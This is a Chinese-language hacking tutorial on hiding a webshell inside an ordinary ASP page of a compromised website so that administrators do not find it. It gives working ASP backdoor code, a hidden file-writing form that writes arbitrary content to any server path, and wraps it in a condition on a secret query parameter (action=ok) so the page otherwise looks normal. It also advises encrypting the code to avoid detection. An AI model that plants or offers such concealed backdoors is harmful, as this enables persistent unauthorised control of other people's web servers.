得到网站的webshell后,如果被管理员发现,那么你的马就没用了 ,被删了! 管理员都也不都是混饭吃的,所以我们要隐藏好我们的WEBSHELL, 下面是关于ASP插入型 木马 几种利用方法 不容易被发现~~~呵呵 我拿个webshell给大家做演示: 好,我们随便找一个要做手脚的ASP文件 1.在我们要做手脚的ASP文件里加入如下内容 :
<% if request(action)=ok then %> ################################## <% end if %>
在#########################处加入你的shell代码 代码我已经提供了 如newmm.asp 木马 (建议加密代码):大家很熟悉吧,我以前的教程做过分析了
<% if request(action)=ok then %> <%dim objFSO%> <%dim fdata%> <%dim objCountFile%>
<%on error resume next%> <%Set objFSO = Server.CreateObject(Scripting.FileSystemObject)%>
<%if Trim(request(syfdpath))<> then%> <%fdata = request(cyfddata)%>
<%set objCountFile=objFSO.CreateTextFile(request(syfdpath),True)%>
<%objCountFile.Write fdata%> <%if err =0 then%> <%response.write <font color=red>save Success!</font>%>
<%else%> <%response.write <font color=red>Save UnSuccess!</font>%> <%end if%> <%err.clear%>
<%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%>
<%Response.write <form action= method=post>%>
<%Response.write 保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>%>
<%Response.Write <input type=text name=syfdpath width=32 size=50>%> <%Response.Write <br>%>
<%Response.write 本文件绝对路径%> <%=server.mappath(Request.ServerVariables(SCRIPT_NAME))%>
<%Response.write <br>%> <%Response.write 输入的内容:%>
<%Response.write <textarea name=cyfddata cols=80 rows=10 width=32></textarea>%>
<%Response.write <input type=submit value=保存>%> <%Response.write </form>%>
<% end if%>
加入以后不影响正常浏揽 访问的时候在你做了手脚的ASP文件后面加上?action=ok(例如:index.asp?action=ok) 就可以调出shell了,不影响正常浏揽 大家看到了吧,呵呵